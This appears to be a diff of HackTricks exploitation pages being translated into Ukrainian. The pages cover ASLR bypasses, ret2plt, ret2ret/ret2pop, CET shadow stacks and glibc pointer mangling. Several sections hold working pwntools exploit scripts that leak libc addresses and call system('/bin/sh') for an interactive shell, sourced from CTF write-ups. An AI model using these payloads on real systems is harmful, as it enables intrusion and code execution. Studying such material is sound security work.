binary_path = './aslr-testing'
try:
process = subprocess.Popen(binary_path, env=env_vars, stdout=subprocess.PIPE, text=True)
output = process.communicate()[0]
if "0xd5" in str(output):
print(str(cont) + " -> " + output)
except Exception as e:
print(e)
print(traceback.format_exc())
pass
try:
process = subprocess.Popen(binary_path, env=env_vars, stdout=subprocess.PIPE, text=True)
output = process.communicate()[0]
if "0xd5" in str(output):
print(str(cont) + " -> " + output)
except Exception as e:
print(e)
print(traceback.format_exc())
pass
```
<figure><img src="../../../images/image (1214).png" alt="" width="563"><figcaption></figcaption></figure>
### Local Information (`/proc/[pid]/stat`)
### Локальна інформація (`/proc/[pid]/stat`)
The file **`/proc/[pid]/stat`** of a process is always readable by everyone and it **contains interesting** information such as:
Файл **`/proc/[pid]/stat`** процесу завжди доступний для читання всім і **містить цікаву** інформацію, таку як:
- **startcode** & **endcode**: Addresses above and below with the **TEXT** of the binary
- **startstack**: The address of the start of the **stack**
- **start_data** & **end_data**: Addresses above and below where the **BSS** is
- **kstkesp** & **kstkeip**: Current **ESP** and **EIP** addresses
- **arg_start** & **arg_end**: Addresses above and below where **cli arguments** are.
- **env_start** &**env_end**: Addresses above and below where **env variables** are.
- **startcode** & **endcode**: Адреси вище і нижче з **TEXT** бінарного файлу
- **startstack**: Адреса початку **стеку**
- **start_data** & **end_data**: Адреси вище і нижче, де знаходиться **BSS**
- **kstkesp** & **kstkeip**: Поточні адреси **ESP** та **EIP**
- **arg_start** & **arg_end**: Адреси вище і нижче, де знаходяться **cli аргументи**.
- **env_start** &**env_end**: Адреси вище і нижче, де знаходяться **змінні середовища**.
Therefore, if the attacker is in the same computer as the binary being exploited and this binary doesn't expect the overflow from raw arguments, but from a different **input that can be crafted after reading this file**. It's possible for an attacker to **get some addresses from this file and construct offsets from them for the exploit**.
Отже, якщо атакуючий знаходиться на тому ж комп'ютері, що й бінарний файл, який експлуатується, і цей бінарний файл не очікує переповнення з сирих аргументів, а з іншого **входу, який можна створити після читання цього файлу**. Атакуючий може **отримати деякі адреси з цього файлу та побудувати з них офсети для експлуатації**.
> [!TIP]
> For more info about this file check [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html) searching for `/proc/pid/stat`
> Для отримання додаткової інформації про цей файл перегляньте [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html), шукаючи `/proc/pid/stat`
### Having a leak
### Маючи витік
- **The challenge is giving a leak**
If you are given a leak (easy CTF challenges), you can calculate offsets from it (supposing for example that you know the exact libc version that is used in the system you are exploiting). This example exploit is extract from the [**example from here**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) (check that page for more details):
- **Виклик полягає у наданні витоку**
Якщо вам надано витік (легкі CTF виклики), ви можете розрахувати офсети з нього (припустимо, наприклад, що ви знаєте точну версію libc, яка використовується в системі, яку ви експлуатуєте). Цей приклад експлуатації витягнуто з [**прикладу звідси**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) (перегляньте цю сторінку для отримання додаткових деталей):
```python
from pwn import *
@ -195,20 +178,19 @@ libc.address = system_leak - libc.sym['system']
log.success(f'LIBC base: {hex(libc.address)}')
payload = flat(
'A' * 32,
libc.sym['system'],
0x0, # return address
next(libc.search(b'/bin/sh'))
'A' * 32,
libc.sym['system'],
0x0, # return address
next(libc.search(b'/bin/sh'))
)
p.sendline(payload)
p.interactive()
```
- **ret2plt**
Abusing a buffer overflow it would be possible to exploit a **ret2plt** to exfiltrate an address of a function from the libc. Check:
Зловживаючи переповненням буфера, можна експлуатувати **ret2plt** для ексфільтрації адреси функції з libc. Перевірте:
{{#ref}}
ret2plt.md
@ -216,8 +198,7 @@ ret2plt.md
- **Format Strings Arbitrary Read**
Just like in ret2plt, if you have an arbitrary read via a format strings vulnerability it's possible to exfiltrate te address of a **libc function** from the GOT. The following [**example is from here**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got):
Так само, як у ret2plt, якщо у вас є довільне читання через вразливість форматних рядків, можливо ексфільтрувати адресу **функції libc** з GOT. Наступний [**приклад звідси**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got):
```python
payload = p32(elf.got['puts']) # p64() if 64-bit
payload += b'|'
@ -228,8 +209,7 @@ payload += b'%3$s' # The third parameter points at the start of the
payload = payload.ljust(40, b'A') # 40 is the offset until you're overwriting the instruction pointer
payload += p32(elf.symbols['main'])
```
You can find more info about Format Strings arbitrary read in:
Ви можете знайти більше інформації про довільне читання форматних рядків у:
{{#ref}}
../../format-strings/
@ -237,7 +217,7 @@ You can find more info about Format Strings arbitrary read in:
### Ret2ret & Ret2pop
Try to bypass ASLR abusing addresses inside the stack:
Спробуйте обійти ASLR, зловживаючи адресами всередині стеку:
{{#ref}}
ret2ret.md
@ -245,13 +225,12 @@ ret2ret.md
### vsyscall
The **`vsyscall`** mechanism serves to enhance performance by allowing certain system calls to be executed in user space, although they are fundamentally part of the kernel. The critical advantage of **vsyscalls** lies in their **fixed addresses**, which are not subject to **ASLR** (Address Space Layout Randomization). This fixed nature means that attackers do not require an information leak vulnerability to determine their addresses and use them in an exploit.\
However, no super interesting gadgets will be find here (although for example it's possible to get a `ret;` equivalent)
Механізм **`vsyscall`** служить для підвищення продуктивності, дозволяючи виконувати певні системні виклики в просторі користувача, хоча вони є фундаментальною частиною ядра. Критична перевага **vsyscalls** полягає в їх **фіксованих адресах**, які не підлягають **ASLR** (випадкове розташування адресного простору). Ця фіксована природа означає, що зловмисники не потребують вразливості витоку інформації, щоб визначити свої адреси та використовувати їх у експлойті.\
Однак тут не буде знайдено супер цікавих гаджетів (хоча, наприклад, можливо отримати еквівалент `ret;`)
(The following example and code is [**from this writeup**](https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html#exploitation))
For instance, an attacker might use the address `0xffffffffff600800` within an exploit. While attempting to jump directly to a `ret` instruction might lead to instability or crashes after executing a couple of gadgets, jumping to the start of a `syscall` provided by the **vsyscall** section can prove successful. By carefully placing a **ROP** gadget that leads execution to this **vsyscall** address, an attacker can achieve code execution without needing to bypass **ASLR** for this part of the exploit.
(Наступний приклад і код є [**з цього опису**](https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html#exploitation))
Наприклад, зловмисник може використовувати адресу `0xffffffffff600800` в експлойті. Хоча спроба стрибнути безпосередньо до інструкції `ret` може призвести до нестабільності або збоїв після виконання кількох гаджетів, стрибок на початок `syscall`, наданого секцією **vsyscall**, може виявитися успішним. Обережно розміщуючи гаджет **ROP**, який веде виконання до цієї адреси **vsyscall**, зловмисник може досягти виконання коду без необхідності обходити **ASLR** для цієї частини експлойту.
```
ef➤ vmmap
Start End Offset Perm Path
@ -282,20 +261,19 @@ gef➤ x/8g 0xffffffffff600000
0xffffffffff600020: 0xcccccccccccccccc 0xcccccccccccccccc
0xffffffffff600030: 0xcccccccccccccccc 0xcccccccccccccccc
gef➤ x/4i 0xffffffffff600800
0xffffffffff600800: mov rax,0x135
0xffffffffff600807: syscall
0xffffffffff600809: ret
0xffffffffff60080a: int3
0xffffffffff600800: mov rax,0x135
0xffffffffff600807: syscall
0xffffffffff600809: ret
0xffffffffff60080a: int3
gef➤ x/4i 0xffffffffff600800
0xffffffffff600800: mov rax,0x135
0xffffffffff600807: syscall
0xffffffffff600809: ret
0xffffffffff60080a: int3
0xffffffffff600800: mov rax,0x135
0xffffffffff600807: syscall
0xffffffffff600809: ret
0xffffffffff60080a: int3
```
### vDSO
Note therefore how it might be possible to **bypass ASLR abusing the vdso** if the kernel is compiled with CONFIG_COMPAT_VDSO as the vdso address won't be randomized. For more info check:
Зверніть увагу, як може бути можливим **обійти ASLR, використовуючи vdso**, якщо ядро скомпільоване з CONFIG_COMPAT_VDSO, оскільки адреса vdso не буде випадковою. Для отримання додаткової інформації перегляньте:
{{#ref}}
../../rop-return-oriented-programing/ret2vdso.md

View File

@ -2,40 +2,37 @@
{{#include ../../../banners/hacktricks-training.md}}
## Basic Information
## Основна інформація
The goal of this technique would be to **leak an address from a function from the PLT** to be able to bypass ASLR. This is because if, for example, you leak the address of the function `puts` from the libc, you can then **calculate where is the base of `libc`** and calculate offsets to access other functions such as **`system`**.
This can be done with a `pwntools` payload such as ([**from here**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got)):
Метою цієї техніки є **витік адреси з функції з PLT**, щоб обійти ASLR. Це пов'язано з тим, що, наприклад, якщо ви витечете адресу функції `puts` з libc, ви зможете **обчислити, де знаходиться база `libc`** і обчислити зсуви для доступу до інших функцій, таких як **`system`**.
Це можна зробити за допомогою корисного навантаження `pwntools`, такого як ([**звідси**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got)):
```python
# 32-bit ret2plt
payload = flat(
b'A' * padding,
elf.plt['puts'],
elf.symbols['main'],
elf.got['puts']
b'A' * padding,
elf.plt['puts'],
elf.symbols['main'],
elf.got['puts']
)
# 64-bit
payload = flat(
b'A' * padding,
POP_RDI,
elf.got['puts']
elf.plt['puts'],
elf.symbols['main']
b'A' * padding,
POP_RDI,
elf.got['puts']
elf.plt['puts'],
elf.symbols['main']
)
```
Зверніть увагу, як **`puts`** (використовуючи адресу з PLT) викликається з адресою `puts`, розташованою в GOT (Global Offset Table). Це відбувається тому, що до моменту, коли `puts` виводить запис GOT для `puts`, цей **запис міститиме точну адресу `puts` в пам'яті**.
Note how **`puts`** (using the address from the PLT) is called with the address of `puts` located in the GOT (Global Offset Table). This is because by the time `puts` prints the GOT entry of puts, this **entry will contain the exact address of `puts` in memory**.
Also note how the address of `main` is used in the exploit so when `puts` ends its execution, the **binary calls `main` again instead of exiting** (so the leaked address will continue to be valid).
Також зверніть увагу, як адреса `main` використовується в експлойті, тому коли `puts` закінчує своє виконання, **бінарний файл знову викликає `main`, а не виходить** (тому адреса, що витекла, залишиться дійсною).
> [!CAUTION]
> Note how in order for this to work the **binary cannot be compiled with PIE** or you must have **found a leak to bypass PIE** in order to know the address of the PLT, GOT and main. Otherwise, you need to bypass PIE first.
You can find a [**full example of this bypass here**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/ret2plt-aslr-bypass). This was the final exploit from that **example**:
> Зверніть увагу, що для того, щоб це спрацювало, **бінарний файл не може бути скомпільований з PIE** або ви повинні **знайти витік, щоб обійти PIE**, щоб знати адресу PLT, GOT і main. В іншому випадку, спочатку потрібно обійти PIE.
Ви можете знайти [**повний приклад цього обходу тут**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/ret2plt-aslr-bypass). Це був фінальний експлойт з того **прикладу**:
```python
from pwn import *
@ -46,10 +43,10 @@ p = process()
p.recvline()
payload = flat(
'A' * 32,
elf.plt['puts'],
elf.sym['main'],
elf.got['puts']
'A' * 32,
elf.plt['puts'],
elf.sym['main'],
elf.got['puts']
)
p.sendline(payload)
@ -61,22 +58,21 @@ libc.address = puts_leak - libc.sym['puts']
log.success(f'LIBC base: {hex(libc.address)}')
payload = flat(
'A' * 32,
libc.sym['system'],
libc.sym['exit'],
next(libc.search(b'/bin/sh\x00'))
'A' * 32,
libc.sym['system'],
libc.sym['exit'],
next(libc.search(b'/bin/sh\x00'))
)
p.sendline(payload)
p.interactive()
```
## Other examples & References
## Інші приклади та посилання
- [https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html)
- 64 bit, ASLR enabled but no PIE, the first step is to fill an overflow until the byte 0x00 of the canary to then call puts and leak it. With the canary a ROP gadget is created to call puts to leak the address of puts from the GOT and the a ROP gadget to call `system('/bin/sh')`
- 64 біти, ASLR увімкнено, але без PIE, перший крок - заповнити переповнення до байта 0x00 канарки, щоб потім викликати puts і витягти його. З канаркою створюється ROP гаджет для виклику puts, щоб витягти адресу puts з GOT, а потім ROP гаджет для виклику `system('/bin/sh')`
- [https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html)
- 64 bits, ASLR enabled, no canary, stack overflow in main from a child function. ROP gadget to call puts to leak the address of puts from the GOT and then call an one gadget.
- 64 біти, ASLR увімкнено, без канарки, переповнення стеку в main з дочірньої функції. ROP гаджет для виклику puts, щоб витягти адресу puts з GOT, а потім викликати один гаджет.
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -4,27 +4,27 @@
## Ret2ret
The main **goal** of this technique is to try to **bypass ASLR by abusing an existing pointer in the stack**.
Основна **мета** цієї техніки полягає в тому, щоб **обійти ASLR, зловживаючи існуючим вказівником у стеку**.
Basically, stack overflows are usually caused by strings, and **strings end with a null byte at the end** in memory. This allows to try to reduce the place pointed by na existing pointer already existing n the stack. So if the stack contained `0xbfffffdd`, this overflow could transform it into `0xbfffff00` (note the last zeroed byte).
В основному, переповнення стеку зазвичай викликане рядками, і **рядки закінчуються нульовим байтом в кінці** в пам'яті. Це дозволяє спробувати зменшити місце, на яке вказує існуючий вказівник, вже існуючий у стеку. Тож, якщо стек містив `0xbfffffdd`, це переповнення могло б перетворити його на `0xbfffff00` (зверніть увагу на останній нульовий байт).
If that address points to our shellcode in the stack, it's possible to make the flow reach that address by **adding addresses to the `ret` instruction** util this one is reached.
Якщо ця адреса вказує на наш shellcode у стеку, можливо, змусити потік досягти цієї адреси, **додаючи адреси до інструкції `ret`** до тих пір, поки вона не буде досягнута.
Therefore the attack would be like this:
Отже, атака виглядатиме так:
- NOP sled
- Shellcode
- Overwrite the stack from the EIP with **addresses to `ret`** (RET sled)
- 0x00 added by the string modifying an address from the stack making it point to the NOP sled
- Перезаписати стек з EIP з **адресами до `ret`** (RET sled)
- 0x00, доданий рядком, модифікує адресу зі стеку, змушуючи її вказувати на NOP sled
Following [**this link**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2ret.c) you can see an example of a vulnerable binary and [**in this one**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2retexploit.c) the exploit.
Слідуючи [**за цим посиланням**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2ret.c), ви можете побачити приклад вразливого бінарного файлу, а [**в цьому**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2retexploit.c) - експлойт.
## Ret2pop
In case you can find a **perfect pointer in the stack that you don't want to modify** (in `ret2ret` we changes the final lowest byte to `0x00`), you can perform the same `ret2ret` attack, but the **length of the RET sled must be shorted by 1** (so the final `0x00` overwrites the data just before the perfect pointer), and the **last** address of the RET sled must point to **`pop <reg>; ret`**.\
This way, the **data before the perfect pointer will be removed** from the stack (this is the data affected by the `0x00`) and the **final `ret` will point to the perfect address** in the stack without any change.
У разі, якщо ви можете знайти **ідеальний вказівник у стеку, який не хочете модифікувати**`ret2ret` ми змінюємо останній найменший байт на `0x00`), ви можете виконати ту ж атаку `ret2ret`, але **довжина RET sled повинна бути скорочена на 1** (щоб останній `0x00` перезаписав дані безпосередньо перед ідеальним вказівником), а **остання** адреса RET sled повинна вказувати на **`pop <reg>; ret`**.\
Таким чином, **дані перед ідеальним вказівником будуть видалені** зі стеку (це дані, на які вплине `0x00`), а **остання `ret` вказуватиме на ідеальну адресу** у стеку без будь-яких змін.
Following [**this link**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2pop.c) you can see an example of a vulnerable binary and [**in this one** ](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2popexploit.c)the exploit.
Слідуючи [**за цим посиланням**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2pop.c), ви можете побачити приклад вразливого бінарного файлу, а [**в цьому**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2popexploit.c) - експлойт.
## References

View File

@ -4,22 +4,22 @@
## Control Flow Enforcement Technology (CET)
**CET** is a security feature implemented at the hardware level, designed to thwart common control-flow hijacking attacks such as **Return-Oriented Programming (ROP)** and **Jump-Oriented Programming (JOP)**. These types of attacks manipulate the execution flow of a program to execute malicious code or to chain together pieces of benign code in a way that performs a malicious action.
**CET** - це функція безпеки, реалізована на апаратному рівні, призначена для запобігання поширеним атакам на перехоплення управління, таким як **Return-Oriented Programming (ROP)** та **Jump-Oriented Programming (JOP)**. Ці типи атак маніпулюють потоком виконання програми, щоб виконати шкідливий код або з'єднати частини безпечного коду таким чином, щоб виконати шкідливу дію.
CET introduces two main features: **Indirect Branch Tracking (IBT)** and **Shadow Stack**.
CET вводить дві основні функції: **Indirect Branch Tracking (IBT)** та **Shadow Stack**.
- **IBT** ensures that indirect jumps and calls are made to valid targets, which are marked explicitly as legal destinations for indirect branches. This is achieved through the use of a new instruction set that marks valid targets, thus preventing attackers from diverting the control flow to arbitrary locations.
- **Shadow Stack** is a mechanism that provides integrity for return addresses. It keeps a secured, hidden copy of return addresses separate from the regular call stack. When a function returns, the return address is validated against the shadow stack, preventing attackers from overwriting return addresses on the stack to hijack the control flow.
- **IBT** забезпечує, що непрямі переходи та виклики здійснюються до дійсних цілей, які явно позначені як законні призначення для непрямих гілок. Це досягається за допомогою нового набору інструкцій, який позначає дійсні цілі, запобігаючи зловмисникам від перенаправлення потоку управління до довільних місць.
- **Shadow Stack** - це механізм, який забезпечує цілісність адрес повернення. Він зберігає захищену, приховану копію адрес повернення окремо від звичайного стеку викликів. Коли функція повертається, адреса повернення перевіряється на відповідність з shadow stack, запобігаючи зловмисникам від перезапису адрес повернення на стеку для перехоплення потоку управління.
## Shadow Stack
The **shadow stack** is a **dedicated stack used solely for storing return addresses**. It works alongside the regular stack but is protected and hidden from normal program execution, making it difficult for attackers to tamper with. The primary goal of the shadow stack is to ensure that any modifications to return addresses on the conventional stack are detected before they can be used, effectively mitigating ROP attacks.
**Shadow stack** - це **спеціалізований стек, що використовується виключно для зберігання адрес повернення**. Він працює разом зі звичайним стеком, але захищений і прихований від нормального виконання програми, що ускладнює зловмисникам маніпуляції з ним. Основна мета shadow stack - забезпечити виявлення будь-яких змін адрес повернення на звичайному стеку до їх використання, ефективно зменшуючи ризик атак ROP.
## How CET and Shadow Stack Prevent Attacks
**ROP and JOP attacks** rely on the ability to hijack the control flow of an application by leveraging vulnerabilities that allow them to overwrite pointers or return addresses on the stack. By directing the flow to sequences of existing code gadgets or return-oriented programming gadgets, attackers can execute arbitrary code.
**ROP та JOP атаки** покладаються на можливість перехоплення потоку управління програми, використовуючи вразливості, які дозволяють їм перезаписувати вказівники або адреси повернення на стеку. Направляючи потік до послідовностей існуючих кодових гаджетів або гаджетів орієнтованого на повернення програмування, зловмисники можуть виконувати довільний код.
- **CET's IBT** feature makes these attacks significantly harder by ensuring that indirect branches can only jump to addresses that have been explicitly marked as valid targets. This makes it impossible for attackers to execute arbitrary gadgets spread across the binary.
- The **shadow stack**, on the other hand, ensures that even if an attacker can overwrite a return address on the normal stack, the **discrepancy will be detected** when comparing the corrupted address with the secure copy stored in the shadow stack upon returning from a function. If the addresses don't match, the program can terminate or take other security measures, preventing the attack from succeeding.
- **Функція IBT** CET значно ускладнює ці атаки, забезпечуючи, що непрямі гілки можуть стрибати лише до адрес, які були явно позначені як дійсні цілі. Це робить неможливим для зловмисників виконувати довільні гаджети, розкидані по бінарному файлу.
- **Shadow stack**, з іншого боку, забезпечує, що навіть якщо зловмисник може перезаписати адресу повернення на звичайному стеку, **невідповідність буде виявлена** при порівнянні пошкодженої адреси з безпечною копією, збереженою в shadow stack, під час повернення з функції. Якщо адреси не збігаються, програма може завершити роботу або вжити інших заходів безпеки, запобігаючи успіху атаки.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,82 +1,82 @@
# Libc Protections
# Захисти Libc
{{#include ../../banners/hacktricks-training.md}}
## Chunk Alignment Enforcement
## Примус вирівнювання блоків
**Malloc** allocates memory in **8-byte (32-bit) or 16-byte (64-bit) groupings**. This means the end of chunks in 32-bit systems should align with **0x8**, and in 64-bit systems with **0x0**. The security feature checks that each chunk **aligns correctly** at these specific locations before using a pointer from a bin.
**Malloc** виділяє пам'ять у **групах по 8 байт (32-біт) або 16 байт (64-біт)**. Це означає, що кінець блоків у 32-бітних системах повинен вирівнюватися з **0x8**, а в 64-бітних системах з **0x0**. Функція безпеки перевіряє, що кожен блок **правильно вирівняний** у цих конкретних місцях перед використанням вказівника з контейнера.
### Security Benefits
### Переваги безпеки
The enforcement of chunk alignment in 64-bit systems significantly enhances Malloc's security by **limiting the placement of fake chunks to only 1 out of every 16 addresses**. This complicates exploitation efforts, especially in scenarios where the user has limited control over input values, making attacks more complex and harder to execute successfully.
Примус вирівнювання блоків у 64-бітних системах значно підвищує безпеку Malloc, **обмежуючи розміщення підроблених блоків лише 1 з кожних 16 адрес**. Це ускладнює зусилля з експлуатації, особливо в сценаріях, де користувач має обмежений контроль над вхідними значеннями, ускладнюючи атаки та роблячи їх важчими для успішного виконання.
- **Fastbin Attack on \_\_malloc_hook**
- **Атака Fastbin на \_\_malloc_hook**
The new alignment rules in Malloc also thwart a classic attack involving the `__malloc_hook`. Previously, attackers could manipulate chunk sizes to **overwrite this function pointer** and gain **code execution**. Now, the strict alignment requirement ensures that such manipulations are no longer viable, closing a common exploitation route and enhancing overall security.
Нові правила вирівнювання в Malloc також заважають класичній атаці, що стосується `__malloc_hook`. Раніше зловмисники могли маніпулювати розмірами блоків, щоб **перезаписати цей вказівник функції** та отримати **виконання коду**. Тепер сувора вимога вирівнювання забезпечує, що такі маніпуляції більше не є життєздатними, закриваючи загальний шлях експлуатації та підвищуючи загальну безпеку.
## Pointer Mangling on fastbins and tcache
## Переплутування вказівників на fastbins і tcache
**Pointer Mangling** is a security enhancement used to protect **fastbin and tcache Fd pointers** in memory management operations. This technique helps prevent certain types of memory exploit tactics, specifically those that do not require leaked memory information or that manipulate memory locations directly relative to known positions (relative **overwrites**).
**Переплутування вказівників** є вдосконаленням безпеки, яке використовується для захисту **вказівників Fd fastbin і tcache** в операціях управління пам'яттю. Ця техніка допомагає запобігти певним типам тактик експлуатації пам'яті, зокрема тим, які не вимагають витоку інформації про пам'ять або які маніпулюють місцями пам'яті безпосередньо відносно відомих позицій (відносні **перезаписи**).
The core of this technique is an obfuscation formula:
Суть цієї техніки полягає в формулі обфускації:
**`New_Ptr = (L >> 12) XOR P`**
- **L** is the **Storage Location** of the pointer.
- **P** is the actual **fastbin/tcache Fd Pointer**.
- **L** - це **Місце зберігання** вказівника.
- **P** - це фактичний **вказівник fastbin/tcache Fd**.
The reason for the bitwise shift of the storage location (L) by 12 bits to the right before the XOR operation is critical. This manipulation addresses a vulnerability inherent in the deterministic nature of the least significant 12 bits of memory addresses, which are typically predictable due to system architecture constraints. By shifting the bits, the predictable portion is moved out of the equation, enhancing the randomness of the new, mangled pointer and thereby safeguarding against exploits that rely on the predictability of these bits.
Причина бітового зсуву місця зберігання (L) на 12 біт вправо перед операцією XOR є критично важливою. Ця маніпуляція вирішує вразливість, властиву детерміністичній природі найменш значущих 12 біт адрес пам'яті, які зазвичай є передбачуваними через обмеження архітектури системи. Зміщуючи біти, передбачувана частина виводиться з рівняння, підвищуючи випадковість нового, переплутаного вказівника і, таким чином, захищаючи від експлуатацій, які покладаються на передбачуваність цих біт.
This mangled pointer leverages the existing randomness provided by **Address Space Layout Randomization (ASLR)**, which randomizes addresses used by programs to make it difficult for attackers to predict the memory layout of a process.
Цей переплутаний вказівник використовує існуючу випадковість, надану **Випадковим розташуванням адресного простору (ASLR)**, яке випадковизує адреси, що використовуються програмами, ускладнюючи зловмисникам передбачити розташування пам'яті процесу.
**Demangling** the pointer to retrieve the original address involves using the same XOR operation. Here, the mangled pointer is treated as P in the formula, and when XORed with the unchanged storage location (L), it results in the original pointer being revealed. This symmetry in mangling and demangling ensures that the system can efficiently encode and decode pointers without significant overhead, while substantially increasing security against attacks that manipulate memory pointers.
**Деманглінг** вказівника для отримання оригінальної адреси передбачає використання тієї ж операції XOR. Тут переплутаний вказівник розглядається як P у формулі, і коли він XOR'иться з незмінним місцем зберігання (L), це призводить до розкриття оригінального вказівника. Ця симетрія в переплутуванні та деманглінгу забезпечує, що система може ефективно кодувати та декодувати вказівники без значних витрат, одночасно суттєво підвищуючи безпеку проти атак, які маніпулюють вказівниками пам'яті.
### Security Benefits
### Переваги безпеки
Pointer mangling aims to **prevent partial and full pointer overwrites in heap** management, a significant enhancement in security. This feature impacts exploit techniques in several ways:
Переплутування вказівників має на меті **запобігти частковим і повним перезаписам вказівників у купі**, що є значним вдосконаленням безпеки. Ця функція впливає на техніки експлуатації кількома способами:
1. **Prevention of Bye Byte Relative Overwrites**: Previously, attackers could change part of a pointer to **redirect heap chunks to different locations without knowing exact addresses**, a technique evident in the leakless **House of Roman** exploit. With pointer mangling, such relative overwrites **without a heap leak now require brute forcing**, drastically reducing their likelihood of success.
2. **Increased Difficulty of Tcache Bin/Fastbin Attacks**: Common attacks that overwrite function pointers (like `__malloc_hook`) by manipulating fastbin or tcache entries are hindered. For example, an attack might involve leaking a LibC address, freeing a chunk into the tcache bin, and then overwriting the Fd pointer to redirect it to `__malloc_hook` for arbitrary code execution. With pointer mangling, these pointers must be correctly mangled, **necessitating a heap leak for accurate manipulation**, thereby elevating the exploitation barrier.
3. **Requirement for Heap Leaks in Non-Heap Locations**: Creating a fake chunk in non-heap areas (like the stack, .bss section, or PLT/GOT) now also **requires a heap leak** due to the need for pointer mangling. This extends the complexity of exploiting these areas, similar to the requirement for manipulating LibC addresses.
4. **Leaking Heap Addresses Becomes More Challenging**: Pointer mangling restricts the usefulness of Fd pointers in fastbin and tcache bins as sources for heap address leaks. However, pointers in unsorted, small, and large bins remain unmangled, thus still usable for leaking addresses. This shift pushes attackers to explore these bins for exploitable information, though some techniques may still allow for demangling pointers before a leak, albeit with constraints.
1. **Запобігання відносним перезаписам байт за байтом**: Раніше зловмисники могли змінювати частину вказівника, щоб **перенаправити блоки купи на різні місця без знання точних адрес**, техніка, очевидна в безвитковій **House of Roman** експлуатації. Завдяки переплутуванню вказівників такі відносні перезаписи **без витоку купи тепер вимагають брутфорс**, що різко знижує ймовірність їх успіху.
2. **Збільшення складності атак Tcache Bin/Fastbin**: Загальні атаки, які перезаписують вказівники функцій (як `__malloc_hook`) шляхом маніпуляції з записами fastbin або tcache, ускладнені. Наприклад, атака може включати витік адреси LibC, звільнення блоку в контейнер tcache, а потім перезапис вказівника Fd, щоб перенаправити його на `__malloc_hook` для виконання довільного коду. Завдяки переплутуванню вказівників ці вказівники повинні бути правильно переплутані, **вимагаючи витоку купи для точної маніпуляції**, підвищуючи бар'єр експлуатації.
3. **Вимога витоків купи в некупових місцях**: Створення підробленого блоку в некупових областях (як стек, секція .bss або PLT/GOT) тепер також **вимагає витоку купи** через необхідність переплутування вказівників. Це розширює складність експлуатації цих областей, подібно до вимоги маніпулювати адресами LibC.
4. **Витік адрес купи стає більш складним**: Переплутування вказівників обмежує корисність вказівників Fd у fastbin і tcache bins як джерел для витоків адрес купи. Однак вказівники в неупорядкованих, малих і великих контейнерах залишаються непереплутаними, отже, все ще можуть використовуватися для витоків адрес. Ця зміна змушує зловмисників досліджувати ці контейнери для отримання експлуатованої інформації, хоча деякі техніки все ще можуть дозволити деманглінг вказівників перед витоком, хоча з обмеженнями.
### **Demangling Pointers with a Heap Leak**
### **Деманглінг вказівників з витоком купи**
> [!CAUTION]
> For a better explanation of the process [**check the original post from here**](https://maxwelldulin.com/BlogPost?post=5445977088).
> Для кращого пояснення процесу [**перевірте оригінальний пост звідси**](https://maxwelldulin.com/BlogPost?post=5445977088).
### Algorithm Overview
### Огляд алгоритму
The formula used for mangling and demangling pointers is:&#x20;
Формула, що використовується для переплутування та деманглінгу вказівників, є:&#x20;
**`New_Ptr = (L >> 12) XOR P`**
Where **L** is the storage location and **P** is the Fd pointer. When **L** is shifted right by 12 bits, it exposes the most significant bits of **P**, due to the nature of **XOR**, which outputs 0 when bits are XORed with themselves.
Де **L** - це місце зберігання, а **P** - це вказівник Fd. Коли **L** зсувається вправо на 12 біт, він відкриває найзначніші біти **P**, через природу **XOR**, яка виводить 0, коли біти XOR'яться самі з собою.
**Key Steps in the Algorithm:**
**Ключові етапи в алгоритмі:**
1. **Initial Leak of the Most Significant Bits**: By XORing the shifted **L** with **P**, you effectively get the top 12 bits of **P** because the shifted portion of **L** will be zero, leaving **P's** corresponding bits unchanged.
2. **Recovery of Pointer Bits**: Since XOR is reversible, knowing the result and one of the operands allows you to compute the other operand. This property is used to deduce the entire set of bits for **P** by successively XORing known sets of bits with parts of the mangled pointer.
3. **Iterative Demangling**: The process is repeated, each time using the newly discovered bits of **P** from the previous step to decode the next segment of the mangled pointer, until all bits are recovered.
4. **Handling Deterministic Bits**: The final 12 bits of **L** are lost due to the shift, but they are deterministic and can be reconstructed post-process.
1. **Початковий витік найзначніших бітів**: XOR'ючи зсунутий **L** з **P**, ви фактично отримуєте верхні 12 бітів **P**, оскільки зсунутий фрагмент **L** буде нульовим, залишаючи відповідні біти **P** незмінними.
